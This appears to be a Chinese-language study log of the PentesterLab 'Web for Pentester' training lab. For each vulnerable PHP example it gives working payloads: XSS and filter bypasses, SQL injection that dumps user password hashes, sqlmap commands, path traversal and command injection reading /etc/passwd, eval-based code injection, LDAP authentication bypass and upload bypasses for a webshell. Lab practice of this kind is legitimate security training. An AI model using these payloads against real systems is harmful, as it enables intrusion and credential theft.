Web for Pentester 靶场学习记录
Web for Pentester 也是一个经典的靶场,也叫做 PentesterLab ,最近一直带着笔记本在外面,也没法研究内网安全的知识了,就刷刷靶场来充实一下自己吧,宁静致远。
配置部署
官方地址:PentesterLab: Learn Web App Pentesting!
靶场是封装在一个 Debian 系统里面的,官方提供的是虚拟机的 ISO 文件 172MB 大小左右,安装很简单,直接虚拟机挂载启动就可以了。因为系统是最小化安装,没有安装桌面环境,虚拟机下无法安装 vmtools 之类的工具,实际体验并不怎么样,为了方便查看网站源码信息,我们得简单配置一下:
# 查看 IP 地址
$ ip a
# 查看 SSH 服务是否运行
$ /etc/init.d/ssh status
sshd is running.
# 设置 root 密码
$ sudo passwd
发现 SSH 服务是安装配置好的了的,而且正在运行,这个时候我们设置一下 root 密码 就可以通过 SSH 远程连接虚拟机了,这样很方便我们查看源码等信息。
下面是一些基本的服务信息:
# apache 版本为 2.2.16
$ apache2 -v
Server version: Apache/2.2.16 (Debian)
Server built: Mar 3 2013 11:36:05
# PHP 的版本为 5.3.3
$ php -v
PHP 5.3.3-7+squeeze15 with Suhosin-Patch (cli) (built: Mar 4 2013 14:05:25)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
# MySQL 版本为 5.1.66 默认 root 密码为 空
$ mysql -e "select version(),user();"
+-------------------+----------------+
| version() | user() |
+-------------------+----------------+
| 5.1.66-0+squeeze1 | root@localhost |
+-------------------+----------------+
# 网站的默认目录
$ ls /var/www/
codeexec css favicon.ico files header.php index.php ldap upload xss
commandexec dirtrav fileincl footer.php img js sqli xml
查看服务器的默认 80 端口 开着 Web 靶场服务,浏览器直接访问即可:
XSS 跨站脚本攻击
XSS 一共 9 个关卡,实际上在之前国光也单独总结过各个靶场的 XSS 题目,感兴趣的朋友可以详见我的这篇文章:XSS从零开始
Example 1 无任何过滤
源码
<?php
echo $_GET["name"];
?>
name 变量直接通过 GET 方式传进去,然后通过 echo 直接输出到网页中 。
payload
example1.php?name=<script>alert('XSS')</script>
Example 2 大小写绕过
源码
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/","", $name);
$name = preg_replace("/<\/script>/","", $name);
echo $name;
?>
使用了 preg_replace 函数来过滤<script>
和</script>
标签,这里由于正则缺陷,没有考虑到大小写的情况,所以这里可以用大小写转换绕过。
payload
example2.php?name=<Script>alert('XSS')</scripT>
实际上这里使用嵌套双写绕过也是 OK 的,不过这个姿势点下一关会说,国光这里就不再啰嗦了。
Example 3 嵌套绕过
源码
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/i","", $name);
$name = preg_replace("/<\/script>/i","", $name);
echo $name;
?>
这里在第2关的基础上面,正则规则上面使用了/i
,表示不区分大小写,利用这个特点可以构造一个嵌套的标签:
<scr<script>ipt>
被检测到<script>
后,替换为了空(即删掉)就变成了一个完整的标签:
<script>
payload
example3.php?name=<sc<script>ript>alert('XSS')</</script>script>
Example 4 其他标签绕过
源码
<?php require_once '../header.php';
if (preg_match('/script/i', $_GET["name"])) {
die("error");
}
?>
Hello <?php echo $_GET["name"]; ?>
对 script 关键词进行了不区分大小写地过滤,匹配到就直接调用die("error")
终止程序运行,因此上述的方法就不再适用,但是还可以通过其他许多标签来触发JS事件。
payload
example4.php?name=<img src=x onerror=alert('XSS')>
Example 5 编码或者其他方法绕过
源码
<?php require_once '../header.php';
if (preg_match('/alert/i', $_GET["name"])) {
die("error");
}
?>
Hello <?php echo $_GET["name"]; ?>
对 alert 关键词进行了不区分大小写地过滤,可以使用其他类似 alert 的方法来弹窗
payload1
example5.php?name=<script>confirm('XSS')</script>
example5.php?name=<script>prompt('XSS')</script>
也可以通过String.fromCharCode()
编码来绕过,使用Hackbar可以很方便地进行编码:
alert('XSS')
经过 String.fromCharCode() 编码为:
String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41)
payload2
example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41))</script>
Example 6 闭合双引号
源码
<script>
var $a= "<?php echo $_GET["name"]; ?>";
</script>
通过 GET 方式传入的 name 变量,直接输出在了script
标签里面,可以尝试闭合前面的双引号"
,然后直接调用alert
方法来弹窗,末尾再使用双引号"
闭合后面的双引号。
payload1
example6.php?name=";alert('XSS');"
也可以尝试通过//
直接注释掉后面的双引号"
,这样就不用考虑闭合了:
payload2
example6.php?name=";alert('XSS');//
Example 7 闭合单引号
源码
<script>
var $a= '<?php echo htmlentities($_GET["name"]); ?>';
</script>
和上一题类似,只是这里的最后是通过htmlentities()
函数把字符转换为 HTML 实体,然后再输出单引号修饰的 a 变量中。htmlentities()
会将双引号"
特殊编码,但是却它不编码单引号'
,恰巧这里是通过单引号'
给 a 变量赋值的,所以依然可以通过闭合单引号'
来弹窗。
payload
example7.php?name=';alert('XSS');'
example7.php?name=';alert('XSS');//
Example 8 PHP_SELF
源码
<?php
require_once '../header.php';
if (isset($_POST["name"])) {
echo "HELLO ".htmlentities($_POST["name"]);
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
name 变量通过 form 表单以POST方式传入,然后通过htmlentities
函数是实体化后输出来,这次通过 POST方式传入的 name 变量是比较安全的,暂时无法突破。重点分析这里<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
,用户依然可以控制参数 PHP_SELF,并且这里没有过滤直接输入到了form
标签中,所以这里通过闭合依然可以XSS。
闭合引号和标签,通过<script>
标签来弹窗:
payload1
example8.php/"><script>alert('XSS')</script>//
也可以通过闭合引号,通过事件来触发弹窗:
payload2
example8.php/" onclick=alert('XSS')//
Example 9 location.hash
源码
<script>
document.write(location.hash.substring(1));
</script>
直接通过location.hash
传入参数,然后往网页中写入,这样很不安全,可以直接通过这个属性往网页中写入 JS 代码。要了解这个location.hash
属性,可以参考 W3C 的这篇资料:HTML DOM hash 属性
payload
example9.php#<script>alert('XSS')</script>
执行完成后,手动刷新下浏览器,经测试在 Chrome 和 FireFox 浏览器上的尖括号会被自动转码,在
IE
内核的浏览器上可以正常运行
SQL injections SQL 注入
刷完 SQLI labs 靶场再看这些注入简直小菜一碟 23333
Example 1 基础注入
关键代码:
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
if ($result) {
while ($row = mysql_fetch_assoc($result))
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | name=’X’ |
那么就直接丢 payload 吧:
example1.php?name=x' union select 1,2,(SELECT+GROUP_CONCAT(name,":",passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5--+
Example 2 过滤空格
关键代码:
if (preg_match('/ /', $_GET["name"])) {
die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | name=’X’ |
和 Example 1 基本上一致,只是这里过滤了 空格,如果匹配到空格的话,直接就终止函数。
过滤空格可以尝试通过下面的字符来替代:
- %09 TAB 键(水平)
- %0a 新建一行
- %0c 新的一页
- %0d return 功能
- %0b TAB 键(垂直)
- %a0 空格
- /**/ 多行注释
最终的 payload 如下:
example2.php?name=x'/**/union/**/select/**/1,2,(SELECT/**/GROUP_CONCAT(name,":",passwd/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/users),4,5%23
Example 3 过滤连续空格
关键代码:
if (preg_match('/\s+/', $_GET["name"])) {
die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | where name=’X’ |
来过滤一个或多个连续空格。但是,我仍然可以使用多行注释/**/
或者 Example 2 其他字符来 Bypass
example3.php?name=x'/**/union/**/select/**/1,2,(SELECT/**/GROUP_CONCAT(name,":",passwd/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/users),4,5%23
sqlmap 也有内置的 tamper 可以直接使用:
sqlmap -u "http://10.211.55.20/sqli/example3.php?name=root*%23" --technique=U --dbms=MySQL --tamper="space2comment" --random-agent --flush-session -v 3 --level=3
Example 4 画蛇添足的过滤
关键代码:
# id 直接拼接到 SQL 语句中
$sql="SELECT * FROM users where id=";
$sql.=mysql_real_escape_string($_GET["id"])." ";
$result = mysql_query($sql);
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | where id = X |
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符:\
,'
,"
,那么问题来了 这一题中并没有使用引号来闭合,所以注入的时候我们也不需要引号,所以实际上这个函数并没有发挥作用,下面正常进行注入吧:
example4.php?id=-2 union select 1,2,(SELECT+GROUP_CONCAT(name,passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5
Example 5 画蛇添足的正则
关键代码:
if (!preg_match('/^[0-9]+/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;
$result = mysql_query($sql);
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | where id = X |
参数 id 必须是数字开头,否则直接终止函数运行。不过实际手工注入的时候默认 id 是满足这个条件的,除非我们手动修改这个 id 的值:
example5.php?id=2 and 1=2 union select 1,2,(SELECT+GROUP_CONCAT(name,passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5
这里不能用 id=-2 来构造报错了,因为正则限制 id 必须是数字开题,所以这里使用了 and 1=2 来构造报错。不过实际上这里不用构造报错也可以的,因为页面不止显示一条查询信息,但是由于注入习惯的原因,国光我这里喜欢构造报错。
Example 6 画蛇添足的正则 again
关键代码:
if (!preg_match('/[0-9]+$/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;
$result = mysql_query($sql);
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | where id = X |
这里和 Example 5 差不多,只是这里确保 id 的值以数字结束,看看我们的上一关的 payload:
example6.php?id=2 and 1=2 union select 1,2,(SELECT+GROUP_CONCAT(name,passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5
恰巧是以数字 5 结束,所以这个正则就很画蛇添足
Example 7 /m 正则缺陷 Bypass
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | where id = X |
关键代码:
if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];
$result = mysql_query($sql);
id 只允许 233
或者 -233
这样的形式,这样肯定是无法进行注入的了。天无绝人之路,仔细观察 这里使用了 /m
,/m
表示开启多行匹配模式,正常情况下^
和$
是匹配字符串的开始和结尾,开启多行模式之后,多行模式^
,$
可以匹配每行的开头和结尾。我们常用:
- %0A 换行
来绕过 /m
模式的正则检测,完整的 payload 如下:
example7.php?id=-2%0a union select 1,2,(SELECT+GROUP_CONCAT(name,passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5
使用 sqlmap 也是可以正常进行注入的:
sqlmap -u "http://10.211.55.20/sqli/example7.php?id=2" --technique=U --dbms=MySQL --prefix="%0a" --random-agent --flush-session -v 3
Example 8 order by 盲注
关键代码:
$sql = "SELECT * FROM users ORDER BY `";
$sql .= mysql_real_escape_string($_GET["order"])."`";
$result = mysql_query($sql);
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | order by X |
order by 不同于 where 后的注入点,不能使用 union 等进行注入。不过注入方式也十分灵活,下面在本关来详细讲解一下。这里并没有输出报错日志,这里只能使用盲注,效率要低一些,国光这里使用布尔类型盲注来简单尝试一下:
# 数据库第 1 位的 ascii 码为 101 即 e
example8.php?order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>100) THEN 0x6e616d65 ELSE 0x28 END))--+
example8.php?order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>101) THEN 0x6e616d65 ELSE 0x28 END))--+
# 数据库第 2 位的 ascii 码为 120 即 x
example8.php?order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>119) THEN 0x6e616d65 ELSE 0x28 END))--+
example8.php?order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>120) THEN 0x6e616d65 ELSE 0x28 END))--+
...
直接用 sqlmap 当然也是可以跑起来的:
sqlmap -u "http://10.211.55.20/sqli/example8.php?order=name" --technique=B --dbms=MySQL --prefix='`' --random-agent --flush-session -v 3 --level 3
Example 9 order by 盲注
关键代码:
$sql = "SELECT * FROM users ORDER BY ";
$sql .= mysql_real_escape_string($_GET["order"]);
$result = mysql_query($sql);
请求方式 | 注入类型 | 闭合方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | order by X |
比 Example 8 更简单,这里没有奇怪的闭合拼接方式就直接导入到 SQL 语句中了,下面直接开始注入吧:
# 数据库第 1 位的 ascii 码为 101 即 e
example9.php?order=name RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>100) THEN 0x6e616d65 ELSE 0x28 END))
example9.php?order=name RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>101) THEN 0x6e616d65 ELSE 0x28 END))
# 数据库第 2 位的 ascii 码为 120 即 x
example9.php?order=name RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>119) THEN 0x6e616d65 ELSE 0x28 END))
example9.php?order=name RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>120) THEN 0x6e616d65 ELSE 0x28 END))
直接用 sqlmap 当然也是可以跑起来的:
sqlmap -u "http://10.211.55.20/sqli/example9.php?order=name" --technique=B --dbms=MySQL --random-agent --flush-session -v 3
Directory traversal 目录穿越
Example 1
关键代码:
<?php
$UploadDir = '/var/www/files/';
if (!(isset($_GET['file'])))
die();
$file = $_GET['file'];
$path = $UploadDir . $file;
if (!is_file($path))
die();
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));
$handle = fopen($path, 'rb');
do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);
fclose($handle);
exit();
?>
默认头像的地址是:
/dirtrav/example1.php?file=hacker.png
可以发现 png 图片这里变成直接解析图片文本内容了:
结合代码来看:
$handle = fopen($path, 'rb');
这里 path 变量没有进行任何过滤,导致可以通过../../../
的形式造成目录穿越,下面直接丢 payload 吧:
/dirtrav/example1.php?file=../../../../../etc/passwd
Example 2
关键代码:
<?php
if (!(isset($_GET['file'])))
die();
$file = $_GET['file'];
if (!(strstr($file,"/var/www/files/")))
die();
$handle = fopen($file, 'rb');
?>
默认头像地址是:
/dirtrav/example2.php?file=/var/www/files/hacker.png
这里检测了 file 参数必须含有 /var/www/files/
,实际上并不影响我们使用 ../../
进行目录穿越:
/dirtrav/example2.php?file=/var/www/files/../../../../../etc/passwd
Example 3 %00 截断
关键代码:
<?php
$UploadDir = '/var/www/files/';
if (!(isset($_GET['file'])))
die();
$file = $_GET['file'];
$path = $UploadDir . $file.".png";
// Simulate null-byte issue that used to be in filesystem related functions in PHP
$path = preg_replace('/\x00.*/',"",$path);
if (!is_file($path))
die();
$handle = fopen($path, 'rb');
?>
这里在我们的文件后面手动添加了 .png 后缀,导致我们不能随心所欲的读取文件了:
$path = $UploadDir . $file.".png";
实际上这里可以通过 00 截断来 Bypass PHP <= 5.3.4 版本,且魔术引号处于关闭状态的时候可以 00 截断成功。但是这里表面上有过滤措施了:
$path = preg_replace('/\x00.*/',"",$path);
但是关键过滤的正则写的有问题:\x00.*
,他会把 00 截断的后面也给替换为空,刚好可以把 .png 给干掉,23333 不是很懂这种操作,那么就直接丢 payload 吧:
/dirtrav/example3.php?file=../../../../../../../etc/passwd%00
File Include 文件包含
Example 1
关键代码:
<?php require_once '../header.php'; ?>
<?php
if ($_GET["page"]) {
include($_GET["page"]);
}
?>
最基础的文件包含,page 变量通过 GET 方式传递值,然后直接被 include 函数包含,下面直接丢 payload:
/fileincl/example1.php?page=/etc/passwd
尝试了一下,发现还可以进行远程文件包含:
/fileincl/example1.php?page=http://www.baidu.com/robots.txt
关于文件包含的漏洞利用,国光这里不再赘述,详细可以参考我之前写的文章:DVWA 入门靶场学习记录里面的文件包含部分
Example 2 截断
关键代码:
<?php
if ($_GET["page"]) {
$file = $_GET["page"].".php";
// simulate null byte issue
$file = preg_replace('/\x00.*/',"",$file);
include($file);
}
?>
虽然在 page 后面手动添加了 .php 后缀了,但是下面在正则依然是\x00.*
谜一样的操作,依然是吧 00 截断以及后面的内容都替换为空,这样间接地帮助我们把 .php 给干掉了,美滋滋,直接丢 payload 吧:
/fileincl/example2.php?page=/etc/passwd%00
实际上如果进行远程文件包含的话,还可以使用?
和#
截断,#
的 URL 编码就是 %23
:
/fileincl/example2.php?page=https://www.baidu.com/robots.txt?
/fileincl/example2.php?page=https://www.baidu.com/robots.txt%23
Code injection 代码注入
Example 1
关键代码:
<?php
$str="echo \"Hello ".$_GET['name']."!!!\";";
eval($str);
?>
name 参数通过 GET 方式传递,然后没有过滤,最终直接被 eval 函数解析,这样当用户 name 传递非法字符的时候,就会产生代码注入,但是注入前我们需要闭合好原来的语句,然后注释掉后面的语句:
";phpinfo();//
这样带入到语句中就是如下的效果:
echo "Hello ";phpinfo();//!!!"
所以最终的 payload 如下:
/codeexec/example1.php?name=";phpinfo();//
类似的还有其他姿势可以使用:
# 使用 . 拼接字符串 闭合后面双引号
/codeexec/example1.php?name=hacker".phpinfo();$a="
# 使用 . 拼接字符串 注释掉后面双引号
/codeexec/example1.php?name=hacker".phpinfo();//
# 使用 ${${code}} 直接插入代码
/codeexec/example1.php?name=${${phpinfo()}}
Example 2 create_function 命令注入
关键代码:
<?php
class User{
public $id, $name, $age;
function __construct($id, $name, $age){
$this->name= $name;
$this->age = $age;
$this->id = $id;
}
}
$sql = "SELECT * FROM users ";
$order = $_GET["order"];
$result = mysql_query($sql);
if ($result) {
while ($row = mysql_fetch_assoc($result)) {
$users[] = new User($row['id'],$row['name'],$row['age']);
}
if (isset($order)) {
# 使用用户自定义的比较函数对数组进行排序
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
}
}
?>
- usort
使用用户自定义的比较函数对数组中的元素进行排序
usort(array,myfunction);
参数 | 说明 |
---|---|
array | 必需。规定要进行排序的数组。 |
myfunction | 可选。定义可调用比较函数的字符串。 |
- create_function
创建一个匿名(lambda样式)函数
create_function ( string $args , string $code )
参数 | 说明 |
---|---|
args | 变量部分 |
code | 方法代码部分 |
此函数在内部执行
eval()
,因此具有与eval()
相同的安全性问题。此外,它还具有不良的性能和内存使用特性。
举例:
create_function('$fname','echo $fname."welcome"')
类似于:
function fT($fname) {
echo $fname."welcome";
}
知道原理后我们再来看下面的这段代码:
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
这里面 order 变量 $order = $_GET["order"];
是通过 GET 方式传递,唯一可控的,这里我们来尝试闭合掉这个 create_function 来进行代码注入:
当 order 的内容如下:
id);}phpinfo();//
从事带入到代码中就是如下效果:
return strcmp($a->id);}phpinfo();//,$b->id);}phpinfo();//);
转换成函数形式就是下面的效果:
create_function('$a, $b', 'return strcmp($a->id);}phpinfo();//,$b->id);}phpinfo();//);'));
即:
funciton fT($a,$b){return strcmp($a->id);}phpinfo();//,$b->id);}phpinfo();//);}
这个时候 phpinfo() 就会成功执行了,所以最终的 payload 如下:
/codeexec/example2.php?order=id);}phpinfo();//
Example 3 preg_replace 命令注入
关键代码:
<?php
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>
- preg_replace()
执行一个正则表达式的搜索和替换
preg_replace($pattern ,$replacement,$subject [,int $limit = -1 [,int &$count ]])
参数 | 说明 |
---|---|
$pattern | 要搜索的模式,可以是字符串或一个字符串数组 |
$replacement | 用于替换的字符串或字符串数组 |
$subject | 要搜索替换的目标字符串或字符串数组 |
$limit | 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制) |
$count | 可选,为替换执行的次数 |
版本更新日志:
版本 | 说明 |
---|---|
7.0.0 | 不再支持 /e修饰符。 请用 preg_replace_callback() 代替 |
5.5.0 | /e 修饰符已经被弃用了。使用 preg_replace_callback() 代替。 |
5.1.0 | 增加参数count |
$pattern 在 /e 模式下会将新输入 $replacement参数的值当成 PHP 代码执行,知道这个原理后我最终构造的 payload 如下:
/codeexec/example3.php?new=phpinfo()&pattern=/lamer/e&base=Hello%20lamer
Example 4 assert 命令注入
关键代码:
<?php
// ensure name is not empty
assert(trim("'".$_GET['name']."'"));
echo "Hello ".htmlentities($_GET['name']);
?>
- trim
移除字符串两侧的空白字符或其他预定义字符。
trim(string,charlist)
参数 | 说明 |
---|---|
string | 必需。规定要检查的字符串。 |
charlist | 可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符: |
- “\0” - NULL
- “\t” - 制表符
- “\n” - 换行
- “\x0B” - 垂直制表符
- “\r” - 回车
- “ “ - 空格
assert 在 PHP 5 的版本中也是可以执行代码的,思路和 Example 1 那样,闭合语句导致代码执行,可以使用如下 payload :
# 闭合前面单引号 注释掉后面单引号
/codeexec/example4.php?name=hacker'.phpinfo();//
# 闭合前后单引号
/codeexec/example4.php?name=hacker'.phpinfo().'
# ${${code}} 直接插入代码
/codeexec/example4.php?name=hacker'.${${phpinfo()}}.'
Commands injection 命令执行
Example 1
关键代码:
<?php
system("ping -c 2 ".$_GET['ip']);
?>
</pre>
ip 参数直接通过 GET 传递到 system 函数中,造成命令执行,可以使用使用如下命令连接符号来拼接自己的命令:
符号 | 说明 |
---|---|
A;B | A 不论正确与否都会执行 B 命令 |
A&B | A 后台运行,A 和 B 同时执行 |
A&&B | A 执行成功时候才会执行 B 命令 |
A|B | A 执行的输出结果,作为 B 命令的参数,A 不论正确与否都会执行 B 命令 |
A||B | A 执行失败后才会执行 B 命令 |
所以最终可以构造出如下可以利用的 payload:
/commandexec/example1.php?ip=127.0.0.1;cat /etc/passwd
# & 与 && 国光没有复现成功
/commandexec/example1.php?ip=127.0.0.1&cat /etc/passwd
/commandexec/example1.php?ip=127.0.0.1&&cat /etc/passwd
/commandexec/example1.php?ip=127.0.0.1|cat /etc/passwd
/commandexec/example1.php?ip=233||cat /etc/passwd
& 与 && 国光没有复现成功,但是在 DVWA 里面是正常执行的,有知道的师傅欢迎评论区指点迷津。
Example 2 %0a 绕过
关键代码:
<pre>
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>
</pre>
这一关使用了 preg_match 正则检测我们输入的 ip ,如果 ip 不是 IP 格式的话就直接终止函数运行,但是这里使用了 /m
多行匹配模式,所以我们这里可以使用 %0a
换行,后面跟上自己的 payload 即可:
/commandexec/example2.php?ip=127.0.0.1%0acat /etc/passwd
Example 3 重定向捕捉
关键代码:
<pre>
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
header("Location: example3.php?ip=127.0.0.1");
}
system("ping -c 2 ".$_GET['ip']);
?>
</pre>
preg_match 去掉了 /m
多行匹配模式,检测到 ip 不是 IP 地址格式的话,就重定向为:
/commandexec/example3.php?ip=127.0.0.1
虽然重定向了,但是实际上代码还是执行了我们的输入,只是重定向后刷新了一下,我们没有看到执行结果:
/commandexec/example3.php?ip=127.0.0.1;cat /etc/passwd
/commandexec/example3.php?ip=127.0.0.1|cat /etc/passwd
/commandexec/example3.php?ip=233||cat /etc/passwd
可以使用 BP 抓包来查看返回包,也可以直接使用 curl 命令来查看短暂出现的运行结果:
curl "http://10.211.55.20/commandexec/example3.php?ip=127.0.0.1;cat%20/etc/passwd"
LDAP attacks LDAP 攻击
LDAP 是轻量目录访问协议,英文全称是 Lightweight Directory Access Protocol,一般都简称为 LDAP。它是基于X.500标准的,但是简单多了并且可以根据需要定制。
可以把他和数据库类比,LDAP 是一个为查询、浏览、搜索而优化的专业分布式数据库,它成树状结构组织数据,就好像 Linux/Unix 系统中的文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以 LDAP 天生是用来查询的。
Example 1 空认证
关键代码:
$ld = ldap_connect("localhost") or die("Could not connect to LDAP server");
ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ld, LDAP_OPT_REFERRALS, 0);
if ($ld) {
if (isset($_GET["username"])) {
$user = "uid=".$_GET["username"]."ou=people,dc=pentesterlab,dc=com";
}
$lb = @ldap_bind($ld, $user,$_GET["password"]);
if ($lb) {
echo "AUTHENTICATED";
}
else {
echo "NOT AUTHENTICATED";
}
}
使用用户名和密码连接到 LDAP 服务器。在这里 LDAP 服务器身份验证不会成功,因为 username=&password=
凭据无效。但是,一些 LDAP 服务器授权空绑定:如果发送空值,LDAP 服务器将继续绑定连接,要使用空值获取绑定,需要从查询中完全删除此参数,PHP 代码将认为凭据是正确的:
$lb = @ldap_bind($ld, $user,$_GET["password"]);
if ($lb) {
echo "AUTHENTICATED";
}
所以本关的 payload 如下:
/ldap/example1.php
Example 2 LDAP 注入
关键代码:
$ld = ldap_connect("localhost") or die("Could not connect to LDAP server");
ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ld, LDAP_OPT_REFERRALS, 0);
if ($ld) {
$lb = @ldap_bind($ld, "cn=admin,dc=pentesterlab,dc=com", "pentesterlab");
if ($lb) {
$pass = "{MD5}".base64_encode(pack("H*",md5($_GET['password'])));
$filter = "(&(cn=".$_GET['name'].")(userPassword=".$pass."))";
if (!($search=@ldap_search($ld, "ou=people,dc=pentesterlab,dc=com", $filter))) {
echo("Unable to search ldap server<br>");
echo("msg:'".ldap_error($ld)."'</br>");
} else {
$number_returned = ldap_count_entries($ld,$search);
$info = ldap_get_entries($ld, $search);
if ($info["count"] < 1) {
//NOK
echo "UNAUTHENTICATED";
}
else {
echo "AUTHENTICATED as";
echo(" ".htmlentities($info[0]['uid'][0]));
}
}
}
}
LDAP 查询的基本语法:
# 查询name为Tom的所有对象 这里括号强调LDAP语句的开始和结束
(name=Tom)
# 查询name为Tom并且passwd为123的对象
# 每个条件都在自己的括号里面,整个语句也要括号包裹起来。&表示逻辑与。
(&(name=Tom)(passwd=123))
# 查询名字是T开头的所有对象 通配符*可以表示任何值
(name=T*)
LDAP 注入攻击和 SQL 注入攻击相似,因此接下来的想法是利用用户引入的参数生成 LDAP 查询,默认的查询链接如下:
/ldap/example2.php?name=hacker&password=hacker
下面是简单的测试:
# 认证成功 默认正常情况
name=hacker&password=hacker
# 认证成功 通配符 可以表示 hacker
name=ha*&password=hacker
# 认证失败 因为 password 被 md5 家了
name=hacker&password=ha*
现在重点关注查询的代码:
$pass = "{MD5}".base64_encode(pack("H*",md5($_GET['password'])));
$filter = "(&(cn=".$_GET['name'].")(userPassword=".$pass."))";
当 name 输入内容如下的话:
hacker)(cn=*))%00
带入到 $ filter 语句中就是如下效果:
$filter = "(&(cn=hacker)(cn=*))%00)(userPassword=".$pass."))";
)
用来闭合前面的括号,(cn=*)
是一个永真的条件,%00
注释掉后面的语句。
所以最终的 payload 可以如下:
/ldap/example2.php?name=hacker))%00&password=233
/ldap/example2.php?name=admin))%00&password=233
/ldap/example2.php?name=hacker)(cn=*))%00&password=233
File Upload 文件上传
Example 1
关键代码:
<?php
if(isset($_FILES['image']))
{
$dir = '/var/www/upload/images/';
$file = basename($_FILES['image']['name']);
if(move_uploaded_file($_FILES['image']['tmp_name'], $dir. $file))
{
echo "Upload done";
echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>";
}
else
{
echo 'Upload failed';
}
}
?>
代码中可以看出无任何过滤措施,可以直接上传 PHP 文件来 getshell,服务器也返回了上传文件的路径信息:
Example 2 %00 截断、大小写绕过
关键代码:
<?php
if(isset($_FILES['image']))
{
$dir = '/var/www/upload/images/';
$file = basename($_FILES['image']['name']);
if (preg_match('/\.php$/',$file)) {
DIE("NO PHP");
}
?>
preg_match 正则检测,如果发现是 .php 后缀的话,直接就终止函数。
- %00 截断
这里可以使用经典的 %00 截断来绕过:
这样依然是可以成功上传 PHP 后缀的文件的
- 大小写绕过
因为 preg_match 没有使用 /i 匹配大小写模式,导致可以使用大写的 PHP 后缀来绕过:
XML attack XML 攻击
